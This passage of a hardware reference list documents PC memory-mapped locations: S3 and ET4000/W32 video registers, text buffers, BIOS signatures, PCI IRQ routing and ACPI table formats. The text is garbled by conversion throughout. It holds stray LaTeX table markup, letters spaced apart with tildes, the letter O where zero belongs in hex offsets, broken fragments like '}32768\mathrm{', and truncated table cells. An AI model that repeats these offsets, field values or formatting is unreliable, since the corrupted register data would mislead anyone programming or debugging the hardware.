    linear 000A0000h or at offset 16M from the start of the linear
        frame buffer
Format of S3 memory-mapped DMA registers:
Offset Size Description (Table M0072)
8580h DWORD start address in system memory
8584h DWORD transfer length
8588h DWORD transfer enable
858Ch DWORD ???
8590h DWORD DMA base address
8594h DWORD DMA write pointer
8598h DWORD DMA read pointer
859Ch DWORD DMA enable
SeeAlso: \#M0057,\#M0073
--------V-MA00086E8-
MEM A000h:86E8h - S3 - MEMORY-MAPPED ENHANCED REGISTERS
Size: ? BYTEs
Note: the S3 graphics processor registers can be mapped at either
                                    linear 000A0000h or at offset 16M from the start of the linear
                                    frame buffer
--------V-MA000A000-------------------------
MEM A000h: A000h - S3 - MEMORY-MAPPED COLOR PALETTE REGISTERS
Size: 448 BYTEs
Note: the S3 graphics processor registers can be mapped at either
                                linear 000A0000h or at offset 16M from the start of the linear
        frame buffer
--------V-MA000A4D4--------------------------
MEM A000h:A4D4h - S3 - MEMORY-MAPPED BLT-FILL REGISTERS
Size: 60 BYTEs
Note: the S3 graphics processor registers can be mapped at either
        linear 000A0000h or at offset 16M from the start of the linear
        frame buffer
\begin{tabular}{ll} 
A4D4h DWORD & \(? ? ?\) \\
A4D8h DWORD & ??? \\
A4DCh DWORD & ??? (set to 07FFh by S3_32.DLL) \\
A4E0h DWORD & ??? (set to 07FFh by S3_32.DLL) \\
A4E4h DWORD & ??? \\
A4E8h DWORD & ??? \\
A4ECh DWORD & ??? \\
A4F0h & \\
A4F4h DWORD & ??? \\
A4F8h \\
A4FCh DWORD & ???
\end{tabular}

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bit 4 is set


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\begin{tabular}{|c|c|}
\hline 4 & LBP Reset pulse this bit before changing operational mode \\
\hline 5 & skip every other frame \\
\hline & \(=0\) write all received frames to memory \\
\hline 6 & disable byte-swapping \\
\hline & \(=0\) incoming 8-bit video is in order U, Y0, V, Y1 (CL-480) \\
\hline & \(=1\) incoming 8 -bit video is in order Y0, \(\mathrm{U}, \mathrm{Y} 1, \mathrm{~V}\) (SAA711x) \\
\hline 8-7 & (refer to bit 26 be \\
\hline 7 & ??? messes up video image when set \\
\hline 9 & LPB vertical sync input polarity \\
\hline & \(=0\) active low \\
\hline & \(=1\) active high \\
\hline 10 & LPB horizontal sync input polarity \\
\hline & =0 active low \\
\hline & \(=1\) active high \\
\hline 11 & (write-only) CPU VSYNC \\
\hline & writing a 1 makes Trio act as if LPB VSYNC had been received \\
\hline 12 & (write-only) CPU HSYNC \\
\hline & writing a 1 makes Trio act as if LPB HSYNC had been received \\
\hline 13 & (write-only) load base address \\
\hline & writing a 1 causes an immediate load of the currently active base address \\
\hline 15-14 & reserved \\
\hline 17-16 & maximum compressed data burst, LPB to Scenic/MX2 \\
\hline & 00 one DWORD \\
\hline & 01 two DWORDs \\
\hline & 10 three DWORDs \\
\hline & 11 burst until empty (must ensure that MX2's 8-entry FIFO is not overrun) \\
\hline 20-18 & reserved \\
\hline 22-21 & video FIFO threshold \\
\hline & number of filled slots at which to request that Trio's memory manager begin to empty the FIFO ( \(00=\) one slot, \(01=\) two slots, \(10=\) four slots, 11 = six slots) \\
\hline 23 & reserved (read-only) \\
\hline 24 & LPB clock source \\
\hline & =0 driven by SCLK (Pin194) (for Trio64-compatibility mode) \\
\hline & \(=1\) driven by LCLK (Pin148) (default) \\
\hline 25 & don't add line stride after first HSYNC within VSYNC \\
\hline & must be set if first HSYNC occurs before VSYNC goes active \\
\hline 26 & invert LCLK (only has effect if bit 24 set) \\
\hline 27 & reserved \\
\hline 28 & ( not yet on Trio64V+) current odd/even video field status \\
\hline 29 & (not yet on Trio64V+) field inversion - when set, the LPB's FIELD pin state is inverted before being reported in bit 28 \\
\hline 30 & reserved \\
\hline 31 & (read-only) current state of CFLEVEL input (Pin182) in Video In/Out \\
\hline
\end{tabular}
mode (refer to bits 3-1)
SeeAlso: \#M0073

Bitfields for S3 Local Peripheral Bus LPB FIFO status:
Bit(s) Description (Table M0075)
31 video FIFO 1 is almost empty (has exactly one full slot)
30 video FIFO 1 is empty
29 video FIFO 1 is full
28-23 reserved
22 video FIFO 0 is almost empty (has exactly one full slot)
21 video FIFO 0 is empty
20 video FIFO 0 is full
19-14 reserved
13 output FIFO is almost empty (has exactly one full slot)
12 output FIFO is empty
11 output FIFO is full
10-4 reserved
3-0 number of free four-byte slots in FIFO (there are 8 slots)
SeeAlso: \#M0073,\#M0076
Bitfields for S3 Local Peripheral Bus interrupt status:
Bit(s) Description (Table M0076)
31-25 reserved
24 drive serial port clock line low on receipt of start condition (causes I2C wait states until interrupt handler responds to start cond)
23-20 reserved
19 enable interrupt on I2C start condition detection
18 enable interrupt on end of frame (VSYNC received)
17 enable interrupt on end of line (HSYNC received)
16 enable interrupt on LPB output FIFO empty
15-4 reserved
3 serial port detected I2C start condition
2 VSYNC received (end of frame)
1 HSYNC received (end of line)
0 LPB output FIFO emptied
Note: bits 3-0 are write-clear: writing a 1 to a bit resets it
SeeAlso: \#M0073,\#P0721
(Table M0077)
Values for S3 Local Peripheral Bus "direct address" index: 0000h CP3 installation (FF18h reads 00C3h if installed)
0001h ?
0002h ?
0003h ?
bit 7: ???
bits 6-0: ???
0004h ?
0005h ?

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bits 7-0: ???
0020h ? (set to 107D4h, 1xxD4h by CP3.DLL))
0028h?
0034h ? (set to 10000h by CP3.DLL)
0414h ? (set by CP3.DLL)
0500h?
0504h ?
0508h ?
050Ch ?
0510h?
SeeAlso: \#M0073
Bitfields for S3 Local Peripheral Bus General-Purpose I/O:
Bit(s) Description (Table M0078)
3-0 values to drive onto LPB GP output lines whenever CR5C is written
7-4 values of GP input lines (read-only), latched whenever CR5C is read
31-8 unused (read-only 0)
SeeAlso: \#M0073
Bitfields for S3 Local Peripheral Bus serial- port register:
Bit(s) Description (Table M0079)
\(0 \quad\) I2C clock line [SCL] (write)
\(=1\) tri-state SCL, allowing other devices to pull it low
\(1 \quad\) I2C data line [SDA] (write)
\(=1\) tri-state SDA, allowing other devices to pull it low
2 I2C clock line (read)
this bit reflect the actual state of the SCL line
3 I2C data line (read)
this bit reflect the actual state of the SDA line
4 enable I2C interface
\(=0\) disable bits \(0 / 1\), forcing both SCL and SDA to be tri-stated
15-5 reserved (unused)
20-16 mirrors of bits 4-0
(these bits are on the data bus' byte lane 2 to make them accessible via I/O port 00E2h)
Notes: see file I2C.LST for details of the I2C device registers accessible through this interface (VPX3220A for Stealth64 Video 2001TV) when the feature connector is disabled on the Stealth64 Video, these bits are connected to the monitor's DDC data and clock lines the official documentation erroneously lists the mirrors in bits 12-8 instead of 20-16
SeeAlso: \#M0073,PORT 00E2h, \#P0677
--------V-MB0000000
MEM B000h:0000h - MDA TEXT BUFFER
Size: 4096 BYTEs
--------V-MB0000000
MEM B000h:0000h - HGC+ RAMFont-MODE TEXT BUFFER
Size: 16384 BYTEs
```

Note: in RAMFont Mode 1, the memory is filled with the usual
character/attribute pairs; in RAMFont Mode 2, four bits of each
'attribute' byte is used to provide 12 bits for specifying the
character
V-MB0000000
MEM B000h:0000h - HGC GRAPHICS BUFFER (PAGE 0)
Size: }32768\mathrm{ BYTEs
--------V-MB4000000
MEM B400h:0000h - HGC+ RAMFont BUFFER
Size: 4096 BYTEs
Notes: apparently write-only
RAMFont Mode 1: }256\mathrm{ characters (8 bits each for char and attribute)
RAMFont Mode 2: }3072\mathrm{ characters (12 bits for char, 4 bits for attrib)
each character definition is 8 pixels wide (with 9th-column duplication
if appropriate) by 8-16 pixels high
-------V-MB8000000
MEM B800h:0000h - CGA TEXT/GRAPHICS BUFFER
Size: }16384\mathrm{ BYTEs
--------V-MB8000000
MEM B800h:0000h - EGA/VGA+ TEXT BUFFER
Size: }32768\mathrm{ BYTEs
--------V-MB8000000--------------------------
MEM B800h:0000h - HGC GRAPHICS BUFFER (PAGE 1)
Size: 32768 BYTEs
--------V-MBFF00000
MEM BFF0h:0000h - ET4000/W32 ACL accelerator
Size: }169\mathrm{ BYTES
Format of ET4000/W32 memory-mapped registers:
Offset Size Description (Table M0080)
00h DWORD MMU Registers: memory base pointer register 0 (see \#M0081)
04h DWORD MMU Registers: memory base pointer register 1 (see \#M0081)
08h DWORD MMU Registers: memory base pointer register 2 (see \#M0081)
OCh 7 BYTEs ???
13h BYTE MMU Registers: MMU control register (see \#M0082)
14h 28 BYTEs ???
30h BYTE Non-Queued Registers: suspend/terminate
31h BYTE Non-Queued Registers: operation state (see \#M0083) (write-only)
32h BYTE Non-Queued Registers: sync enable
33h BYTE ???
34h BYTE Non-Queued Registers: interrupt mask
35h BYTE Non-Queued Registers: interrupt status
36h BYTE Non-Queued Registers: ACL status (read-only)
bit 1: read status (RDST) 1=ACL active, queue not empty
bit 0: write status (WRST) 1=queue full
37h 73 BYTEs ???
80h DWORD Queued Registers: pattern address (see \#M0084)
84h DWORD Queued Registers: source address (see \#M0084)

```

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\begin{tabular}{|c|c|c|}
\hline 88h & WORD & Queued Registers: pattern Y offset (see \#M0085) \\
\hline 8Ah & WORD & Queued Registers: source Y offset (see \#M0085) \\
\hline 8Ch & WORD & Queued Registers: destination y offset (see \#M0085) \\
\hline 8Eh & BYTE & Queued Registers: virtual bus size \\
\hline 8Fh & BYTE & Queued Registers: X/Y direction (see \#M0086) \\
\hline 90h & BYTE & Queued Registers: pattern wrap (see \#M0087) \\
\hline 91h & BYTE & ??? \\
\hline 92h & BYTE & Queued Registers: source wrap (see \#M0087) \\
\hline 93h & BYTE & ??? \\
\hline 94h & WORD & Queued Registers: X position \\
\hline 96h & WORD & Queued Registers: Y position \\
\hline 98h & WORD & Queued Registers: X count (see \#M0088) \\
\hline 9Ah & WORD & Queued Registers: Y count (see \#M0088) \\
\hline 9Ch & BYTE & Queued Registers: routine control (see \#M0089) \\
\hline 9Dh & BYTE & Queued Registers: reload control \\
\hline 9Eh & BYTE & Queued Registers: background ROP for mixing \\
\hline 9Fh & BYTE & Queued Registers: foreground ROP for mixing \\
\hline A0h & DWORD & Queued Registers: destination address \\
\hline A4h & DWORD & Queued Registers: internal pattern address \\
\hline A8h & DWORD & Queued Registers: internal source address \\
\hline \multicolumn{3}{|l|}{Bitfields for ET4000/W32 memory base pointer register:} \\
\hline Bit(s) & Descript & (Table M0081) \\
\hline 31-22 & reserved & \\
\hline 21-0 & memory & base pointer \\
\hline \multicolumn{3}{|l|}{SeeAlso: \#M0080} \\
\hline \multicolumn{3}{|l|}{Bitfields for ET4000/W32 MMU control register:} \\
\hline Bit(s) & Descript & (Table M0082) \\
\hline 7 & reserve & \\
\hline 6-4 & linear a & ddress control (LAC) \\
\hline & bit 6: & MMU aperture 2 \\
\hline & bit 5: & MMU aperture 1 \\
\hline & bit 4: & MMU aperture 0 \\
\hline 3 & reserved & \\
\hline t2-0 & apertur & e type (APT) \\
\hline & bit 2: & MMU aperture 2 \\
\hline & bit 1: & MMU aperture 1 \\
\hline & bit 0: & MMU aperture 0 \\
\hline \multicolumn{3}{|l|}{SeeAlso: \#M0080} \\
\hline \multicolumn{3}{|l|}{Bitfields for ET4000/W32 operation state register:} \\
\hline Bit(s) & Descript & (Table M0083) \\
\hline \multicolumn{3}{|l|}{7-4 reserved} \\
\hline 3 & restart & operation after ACL-interruption \\
\hline 2-1 & reserve & \\
\hline \multicolumn{3}{|l|}{\multirow[b]{2}{*}{SeeAlso: \#M0080}} \\
\hline & & \\
\hline
\end{tabular}
Bitfields for ET4000/W32 memory address register:
Bit(s) Description (Table M0084)
31-22 reserved
21-0 memory base pointer
SeeAlso: \#M0080
Bitfields for ET4000/W32 offset register:
Bit(s) Description (Table M0085)
15-12 reserved
11-0 Y offset
SeeAlso: \#M0080
Bitfields for ET4000/W32 X/Y direction register:
Bit(s) Description ..... (Table M0086)
7-2 reserved
\(1 \quad \mathrm{X}\) direction
\(0 \quad Y\) direction
SeeAlso: \#M0080
Bitfields for ET4000/W32 wrap register:
Bit(s) Description ..... (Table M0087)
7 reserved
6-4 pattern Y wrap
\(000=1\) line
\(001=2\) lines
\(010=4\) lines
\(011=8\) lines
\(100=\) reserved
\(101=\) reserved
\(110=\) reserved
111 = no wrap
3 reserved
2-0 pattern X wrap\(000=\) reserved
    \(001=\) reserved
    \(010=4\) byte
    \(011=8\) byte
    \(100=16\) byte
    \(101=32\) byte
    \(110=64\) byte
    111 = no wrap
SeeAlso: \#M0080Bitfields for ET4000/W32 count register:
Bit(s) Description (Table M0088)
15-12 reserved
11-0 pixel count

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```

SeeAlso: \#M0080
Bitfields for ET4000/W32 routine control register:
Bit(s) Description (Table M0089)
7-6 reserved
5-4 routing of CPU address (ADRO)
O0 don't use CPU address
0 1 ~ C P U ~ a d d r e s s ~ i s ~ d e s t i n a t i o n
10 reserved
1 1 reserved
3 reserved
2-0 routing of CPU data (DARQ)
000 don't use CPU data
0 0 1 ~ C P U ~ d a t a ~ i s ~ s o u r c e ~ d a t a ~
0 1 0 ~ C P U ~ d a t a ~ i s ~ m i x e d ~ d a t a ~
0 1 1 reserved
100 CPU data is x-count
101 CPU data is y-count
10x reserved
SeeAlso: \#M0080
--------V-MC0000000
MEM C000h:0000h - VIDEO BIOS (EGA and newer)
Size: varies (usually 16K-24K for EGA, 24K-32K for VGA)
--------b-MC0000000
MEM C000h:0000h OLIVETTI 640x400 GRAPHICS CARDS
Size: 62 BYTEs
SeeAlso: MEM 0040h:0088h"Olivetti"
Format of Olivetti 640x480 ROM signatures:
Offset Size Description (Table M0133)
00h WORD 55AAh adapter ROM signature (check this!)
10h 2 BYTEs "OL" if Olivetti EGA or VGA card
22h 2 BYTEs (Olivetti EGA/VGA)
"VG" for Olivetti VGA (supports 640x400 mode)
"EG" for Olivetti EGA including Olivetti EGA card 2
...
3Ch 2 BYTEs "PA" if Paradise card (supports 640\times400 mode)
Note: These signatures can aid in the presence detection of an EGA or VGA
adapter supporting the 640\times400 mode.
Olivetti PC models M15 and M19 do not support the 640\times400 mode
(see INT 15h/COh).
To decide if the 640\times400 mode is supported by an Olivetti EGA card
(only the Olivetti EGA card 2 supports it), also check that bit 7
and 5 are set at 0040h:0088h.
--------V-MC000xxxx-----------------------
MEM C000h:xxxxh - VESA VBE v3.0 PROTECTED MODE INFORMATION BLOCK

```
Size: 20 BYTEs
Range: starting at any byte within the first 32K of segment C000h
Format of VESA VBE 3.0 Protected Mode Information Block:
Offset Size Description (Table M0127)
OOh 4 BYTEs signature "PMID"
04h WORD offset of protected-mode entry point within BIOS
06h WORD offset of protected-mode initialization entry point
08h WORD selector for BIOS data area emulation block(default 0000h, must be set by protected-mode OS to 16-bitread/write data selector with limit of at least 0600h)
OAh WORD selector to access physical memory at A0000h(default A000h, must be set by protected-mode OS to 16 -bitread/write data selector with 64K limit)
OCh WORD selector to access physical memory at B0000h(default B000h, must be set by protected-mode OS to 16-bitread/write data selector with 64 K limit)
OEh WORD selector to access physical memory at B8000h(default B800h, must be set by protected-mode OS to 16 -bitread/write data selector with 32 K limit)10 h BYTE protected-mode execution (default 00h; set to 01 h by OS whenBIOS image is running in protected mode)11 h BYTE checksum byte for entire structure (this byte forces 8 -bitsum of all bytes to 00h)
--------h-mC0000000--------------------------
MEM C0000000h - Weitek "Abacus" math coprocessor
Size: 4096 BYTEs
--------B-MC8000000 \(\qquad\)
MEM C800h:0000h - HARD DISK BIOS
Size: varies (usually 8 K or 16K)
--------V-MC8001C00
MEM C800h: 1C00h - IBM XGA, XGA/A - MEMORY-MAPPED REGISTERS
Range: any 8 K boundary within segments COOOh to DFFFh
Notes: The XGA memory mapped registers can be assigned to the last 1K block in
in each 8 K block in the range of C0000h-DFFFFh; the base offset of
the 128 memory mapped Icoation for a particular XGA instance is
Segment: (1C00h+instance*80h) for each XGA installed in a system
(default instance is 6 ). The instance number may be read from the
XGA's Programmable Option Select registers
The XGA/A (PS/2 adapter) uses the 7KB area below the memory-mapped
register area for ROM data; the XGA (PS/2 onboard) has included
this area in it's video BIOS ROM.
Most of the memory mapped registers are from the graphics coprocessor,
while the I/O-registers are for the display controller.
--------V-MC0007FF8
MEM C000h: 7FF8h - Matrox MGA Video Adapters - CARD VENDOR ID
Size: WORD
Desc: contains the PCI vendor ID for the card vendor; this is written into

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the video controllers PCI subsystem-vendor-ID field
SeeAlso: MEM C000h:7FFAh,MEM C000h:7FFCh
--------V-MC0007FFA---------------------------
MEM C000h: 7FFAh - Matrox MGA Video Adapters - HARDWARE REVISION ID Size: BYTE
SeeAlso: MEM C000h:7FF8h,MEM C000h: 7FFCh
--------V-MC0007FFC-
MEM C000h: 7FFCh - Matrox MGA Video Adapters - OFFSET OF PINS DATA STRUCTURE Size: WORD
SeeAlso: INT 10/AX=4F14h"Matrox",\#00126,MEM C000h:7FF8h
-------b-MF0000000
MEM F000h:0000h - WANG PC MEMORY MAPPED SCREEN BUFFER Size: ???
Note: This is used by Peter Reilley's portable binary editor and viewer BEAV to directly write into the Wang PC's video screen buffer (instead of using INT 10/AH=02h,09h) after it has been mapped in by writing BYTE 01h to the screen port (PORT 1010h for the 1st screen, 1020h for the 2 nd, 1030 h for the 3 rd , 1040h for the 4 th ). It will be unmapped afterwards by writing BYTE OOh to the screen port. Note, that this is only necessary when the INT 21/AX=4402h detection method resulted in non-IBM PC characteristic (return values other than 11h).
SeeAlso: MEM FC00h: 3FC2h, INT 88h/AL=01h, INT 21h/4402h
--------B-MF0002DC5
MEM F000h: 2DC5h - IBM AT SIGNATURE
Size: ??? signature
Note: Original IBM ATs with a multi-sector hard disk ROM-BIOS bug can be identified by checking a (currently unknown) signature at this location. This is known to be done by the Concurrent CP/M-86 family. Presumably the OS will then prohibit timer ISR dispatches within a code window of F000h:2D95h..F000h:2DD4h.
--------A-MF0006000 \(\qquad\)
MEM F000h: 6000 h - IBM PC ROM BASIC
Size: 32768 BYTEs
--------b-MF000800C \(\qquad\)
MEM F000h: 800Ch ZENITH
Size: 8 BYTEs signature "ZDS CORP"
Note: Zenith machines may have 256 Kb extra memory at 0FA0000h linear.
----------MF000C000-
MEM FOOOh: C000h - Tandy ROM BIOS ID BYTE
Size: BYTE
Note: If the BYTE at this location is equal to 21 h , some Microsoft software assumes this is a Tandy machine, and for example trusts the bits 1-0 at 0040h:00B5h.
SeeAlso: MEM 0040h:00B5h"Tandy",INT 15/AH=COh
--------b-MFC000050-
MEM FCOOh:0050h - OLIVETTI Mxxx PC SIGNATURE Size: 4 BYTEs (or more) "OLIV"

Note: used by several Olivetti PCs, including M15, M19
SeeAlso: INT 15/AH=C0h
--------b-MFC003FC2-
MEM FC00h: 3FC2h - WANG PC SIGNATURE
Size: 4 BYTEs containing the signature "WANG"
Note: This is used by Peter Reilley's portable binary editor and viewer BEAV to detect a Wang PC.
SeeAlso: INT 88/AL=01h,INT 21/AX=4402h,INT 15/AH=C0h
--------B-MF000E000
MEM F000h:E000h - ORIGINALIBM PC ROM BIOS
Size: 8192 BYTEs
-------b-MF000FFD9
MEM F000h: FFD9h - EISA MACHINE ID
Size: 4 BYTEs signature "EISA"
SeeAlso: INT 15/AH=E801h
--------b-MF000FFE0
MEM FOOOh:FFEOh - COMPAQ 386 MACHINES
Size: 16 BYTEs
SeeAlso: MEM 80C00000h
Format of Compaq 386 Memory Configuration Data:
Offset Size Description (Table M0134)
00h WORD Compaq 32-bit extra built-in memory available (FFFFh if not)
02h WORD Total size of Compaq extra memory
04h WORD Count of available paragraphs of Compaq extra memory
06h WORD Paragraph address of last paragraph in use as Compaq extra memory
08h 2 BYTEs product class signature "03"
OAh 6 BYTEs signature "03COMPAQ"
Notes: The full "03COMPAQ" signature can be found in (at least) Compaq 386 machines which have dual harddisk controller. (see also CMOS 70h) However, the 6-byte "COMPAQ" signature also seems to be available in other Compaq machines with dual hard disk controllers, at least the MS-DOS/PC DOS IO.SYS/IBMBIO.COM checks for if before it calls INT 15/AX=E400h and INT 15/AX=E480h.
Compaq's extra memory is mappable memory starting at FEOOh:0000h growing downwards. It can be made available for example with Novell DOS 7+ EMM386.EXE /COMPAQ=ON.
Although this structure resides at a ROM-address it is actually writeprotected RAM. To write to the structure to map in Compaq extra memory the write-protection must be temporarily disabled by setting bit 1 at WORD 80C00000h.
MF000FFE8
MEM F000h:FFE8h - Compaq - MACHINE SIGNATURE STRING
Size: 8 BYTEs
Desc: if this area contains the ASCII string "03COMPAQ", then this is a Compaq machine
SeeAlso: CMOS 1Bh"AMI"

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--------H-MF000FFF0
MEM FOOOh:FFFOh - RESET JUMP
Size: 5 BYTEs
--------B-MF000FFF5
MEM F000h:FFF5h - ASCII BIOS DATE
Size: }8\mathrm{ BYTEs
--------B-MF000FFFD
MEM F000h:FFFDh - OFTEN USED TO ENSURE CORRECT BIOS CHECKSUM
Size: BYTE
-------B-MF000FFFE
MEM FOOOh:FFFEh - MACHINE TYPE CODE
Size: BYTE
SeeAlso: INT 15/AH=C0h
--------X-MF000xxx0--------------------------
MEM F000h:xxx0h - PCI IRQ Routing Table Specification v1.0
Size: N paragraphs (N >= 2)
InstallCheck: scan for the signature string "$PIR" followed by a valid
    PCI IRQ Routing Table
Range: any paragraph boundary within the range F0000h to FFFFFh
Format of PCI IRQ Routing Table v1.0:
Offset Size Description (Table M0090)
OOh 4 BYTEs signature "$PIR"
04h WORD version (0100h for v1.0)
06h WORD table size in bytes
08h BYTE bus number for PCI Interrupt Router
09h BYTE device/function number for PCI Interrupt Router
OAh WORD bitmap of PCI-exclusive IRQs (bit 0 = IRQ0, etc.)
OCh WORD PCI vendor ID for compatible PCI Interrupt Router
OEh WORD PCI device ID for compatible PCI Interrupt Router
10h DWORD Miniport data
14h 11 BYTEs reserved (0)
1Fh BYTE checksum (set to make 8-bit sum of bytes in entire structure
equal 00h)
--- optional data ---
20h 16 BYTEs first slot entry (see \#M0091)
16 BYTEs Nth slot entry
Format of PCI IRQ Routing Table slot entry:
Offset Size Description (Table M0091)
00h BYTE PCI bus number
01h BYTE PCI device number (bits 7-3)
02h BYTE link value for INTA\#
03h WORD IRQ bitmap for INTA\#
05h BYTE link value for INTB\#
06h WORD IRQ bitmap for INTB\#
08h BYTE link value for INTC\#

```
09h WORD IRQ bitmap for INTC\#
OBh BYTE link value for INTD\#
OCh WORD IRQ bitmap for INTD\#
OEh BYTE slot number (00h = motherboard, other = vendor-specific)
OFh BYTE reserved
SeeAlso: \#M0090,\#01260 at INT 1A/AX=B406h
-------B-MF000xxxx
MEM F000h: xxxxh - AWARD Flash Hook
Format of AWARD Flash BIOS interface:
Offset Size Description (Table M0092)
OOh 8 BYTEs signature "AWDFLASH"
08h WORD offset in F000h of FAR function: Get ???
Return: BL = ??? (00h)
OAh WORD offset in FOOOh of FAR function: ..... ???
OCh WORD offset in F000h of FAR function ..... ???
OEh WORD offset in F000h of FAR function ..... ???
10h WORD offset in FO00h of FAR function: ..... ???
12h WORD offset in FOOOh of FAR function: Disable Shadowing
14 h WORD offset in FOOOh of FAR function: Enable
Return: DS: SI -> ??? (30 bytes?)
18h WORD offset in FOOOh of FAR function: Set ???
DS: SI -> ??? (appears to be same as previous function)
Note: the AWDFLASH utility copies the ROM from F000h and uses the copyinstead of the original F000h:xxxxh addresses
------B-MF000xxxxAsustek Flash Hook
Format of Asustek Flash interface:
Offset Size Description (Table M0093)
00h 10 BYTEs signature "ASUS_FLASH"
OAh 6 BYTEs blanks (padding)
10h WORD interface version??? (current PFLASH.EXE requires 0101h)
12h DWORD -> position-independent code to enable shadowing
16h WORD size of code pointed at by previous field ( \(<=0400 \mathrm{~h}\) )
18h DWORD -> position-independent code to disable shadowing
1Ch WORD size of code pointed at by previous field ( \(<=0400 \mathrm{~h}\) )
--------p-Mxxxxxxx0
MEM xxxxh:xxx0h - Advanced Configuration and Power Interface Spec (ACPI) v0.9+Range: any paragraph boundary in the first kilobyte of the XBDA, the lastkilobyte of conventional memory, or from E000h: 0000h to F000h: FFEOh
Note: scan paragraph boundaries for the signature string "RSD PTR ", followedby a valid Root System Description Pointer structure (see \#M0094)
SeeAlso: INT 15/AX=E820h
!!!acpi\acpi10.pdf p. 194
Format of ACPI Root System Description Pointer structure:

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\begin{tabular}{|c|c|c|}
\hline 2Dh & BYTE & reserved \\
\hline 2Eh & WORD & system vector of SCl interrupt \\
\hline 30h & DWORD & I/O port address of SMI command port \\
\hline 34h & BYTE & value to write to SMI comamnd port to disable SMI ownership of ACPI hardware registers \\
\hline 35h & BYTE & value to write to SMI comamnd port to re-enable SMI ownership of ACPI hardware registers \\
\hline 36h & BYTE & (v1.0) value to write to SMI command port to enter S4BIOS state 00h if not supported \\
\hline 37h & BYTE & reserved \\
\hline 38h & DWORD & I/O port address of Power Management la Event Register Block \\
\hline 3Ch & DWORD & I/O port address of Power Management 1b Event Register Block (optional, 00000000h if not supported) \\
\hline 40h & DWORD & I/O port address of Power Management 1a Control Register Block \\
\hline 44h & DWORD & I/O port address of Power Management 1b Control Register Block (optional, 00000000 h if not supported) \\
\hline 48h & DWORD & I/O port address of Power Management 2 Control Register Block (optional, 00000000 h if not supported) \\
\hline 4Ch & DWORD & I/O port address of Power Management Timer Control Reg. Block \\
\hline 50h & DWORD & I/O port address of Generic Purpose Event 0 Register Block (optional, 00000000 h if not supported) \\
\hline 54h & DWORD & I/O port address of Generic Purpose Event 1 Register Block (optional, 00000000 h if not supported) \\
\hline 58h & BYTE & size of Power Management 1a/ 1b Event Register Block (>=4) \\
\hline 59h & BYTE & size of Power Management 1a/ 1b Control Register Block ( \(>=1\) ) \\
\hline 5Ah & BYTE & size of Power Management 2 Control Register Block (>=1) \\
\hline 5Bh & BYTE & size of Power Management Timer Control Register Block ( \(>=4\) ) \\
\hline 5Ch & BYTE & size of Generic Purpose Event 0 Register Block (multiple of 2) \\
\hline 5Dh & BYTE & size of Generic Purpose Event 1 Register Block (multiple of 2) \\
\hline 5Eh & BYTE & offset within General Purpose Event model for GPE1-based events \\
\hline 5Fh & BYTE & reserved \\
\hline 60h & WORD & worst-case hardware latency (microseconds) for entering/leaving state C2; >100 if C2 not supported \\
\hline 62h & WORD & worst-case hardware latency (microseconds) for entering/leaving state C3; >1000 if C3 not supported \\
\hline 64h & WORD & size of contiguous cacheable memory which must be read to flush all dirty lines from a processor's memory cache; use if fixed feature flag WBINVD (see \#M0098) is clear 0000h if flushing not supported \\
\hline 66h & WORD & memory stride size (in bytes) to flush processor's memory cache \\
\hline 68h & BYTE & bit index of processor's duty cycle setting within the processor's P_CNT register \\
\hline 69h & BYTE & size of processor's duty cycle setting in bits \\
\hline 6Ah & BYTE & index within RTC CMOS RAM of the day-of-month alarm value \(00 \mathrm{~h}=\) not supported \\
\hline 6Bh & BYTE & index within RTC CMOS RAM of the month-of-year alarm value \(00 \mathrm{~h}=\) not supported \\
\hline 6Ch & BYTE & index within RTC CMOS RAM of the century alarm value \\
\hline
\end{tabular}

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SeeAlso: \#M0094
Bitfields for ACPI Multiple APIC Description Table flags:
Bit(s) Description (Table M0101)
0 system contains AT-compatible dual }8259\mathrm{ interrupt controllers in
addition to APICs
1-31 reserved (0)
SeeAlso: \#M0100
Format of ACPI Local APIC Structure:
Offset Size Description (Table M0102)
00h BYTE structure type (00h = Processor Local APIC)
01h BYTE length of this structure (0Ch for v0.9, 08h for v1.0)
02h BYTE processor ID
03h BYTE processor's local APICID
---v0.9---
04h DWORD physical address of APIC
08h DWORD flags (TBD)
--v1.0---
04h DWORD flags (see \#M0103)
SeeAlso: \#M0100,\#M0104
Bitfields for ACPI Local APIC flags:
Bit(s) Description (Table M0103)
0 APIC enabled
1-31 reserved (0)
SeeAlso: \#M0102
Format of ACPI I/O APIC Structure:
Offset Size Description (Table M0104)
00h BYTE structure type (00h = Processor Local APIC)
01h BYTE OCh (length of this structure)
02h BYTE I/O APIC's ID
03h BYTE reserved (0)
04h DWORD physical address of the APIC
08h DWORD number of first system interrupt vector for APIC
SeeAlso: \#M0100,\#M0102
Format of ACPI Firmware ACPI Control Structure:
Offset Size Description (Table M0105)
OOh 4 BYTEs signature "FACS"
04h DWORD length of entire structure in bytes (>= 40h)
08h DWORD value of system's hardware signature at last boot
OCh DWORD real-mode ACPI OS waking vector
if nonzero, control is transferred to this address on next BIOS
POST
10h DWORD global lock (see \#M0107)
14h DWORD (v1.0) firmware control structure flags (see \#M0106)

```

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    18h 44 BYTEs reserved (0)
    Notes: this structure is located on a 64-byte boundary anywhere in the
first 4GB of memory
the BIOS is required to omit the address space containing this
structure from system memory in the system's memory map
SeeAlso: \#M0094,INT 15/AX=E82Oh
Bitfields for ACPI Firmware Control Structure Feature flags:
Bit(s) Description (Table M0106)
0 system supports S4BIOS_REQ
=0 operating system must save/restore memory state in order to go to S4
1-31 reserved (0)
SeeAlso: \#M0105
Bitfields for ACPI Embedded Controller Arbitration Structure:
Bit(s) Description (Table M0107)
0 request for Global Lock ownership is pending
1 Global Lock is currently owned
2-31 reserved
SeeAlso: \#M0105
Format of ACPI Persistent System Description Table:
Offset Size Description (Table M0108)
00h 36 BYTEs System Description Table Header (see \#M0095)
signature "PSDT"
24h complex byte stream; refer to ACPI document and software
SeeAlso: \#M0094
Format of ACPI Secondary System Description Table:
Offset Size Description (Table M0109)
00h 36 BYTEs System Description Table Header (see \#M0095)
signature "SSDT"
24h complex byte stream; refer to ACPI document and software
SeeAlso: \#M0094
Format of ACPI Smart Battery Description Table:
Offset Size Description (Table M0110)
00h 36 BYTEs System Description Table Header (see \#M0095)
signature "SBST"
24h DWORD energy level in mWh at which system should warn user
28h DWORD energy level in mWh at which system should automatically enter
sleep state
2Ch DWORD energy level in mWh at which system should perform an emergency
shutdown
SeeAlso: \#M0094
----------Mxxxxxxx0--------------------------
MEM xxxxh:xxx0h - BIOS32 Service Directory
InstallCheck: scan paragraph boundaries E000h to FFFFh for signature string

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```

        "_32_", followed by a valid header structure (see #F0021)
    SeeAlso: CALL xxxxh:xxxxh"BIOS32"
---------Mxxxxxxx0
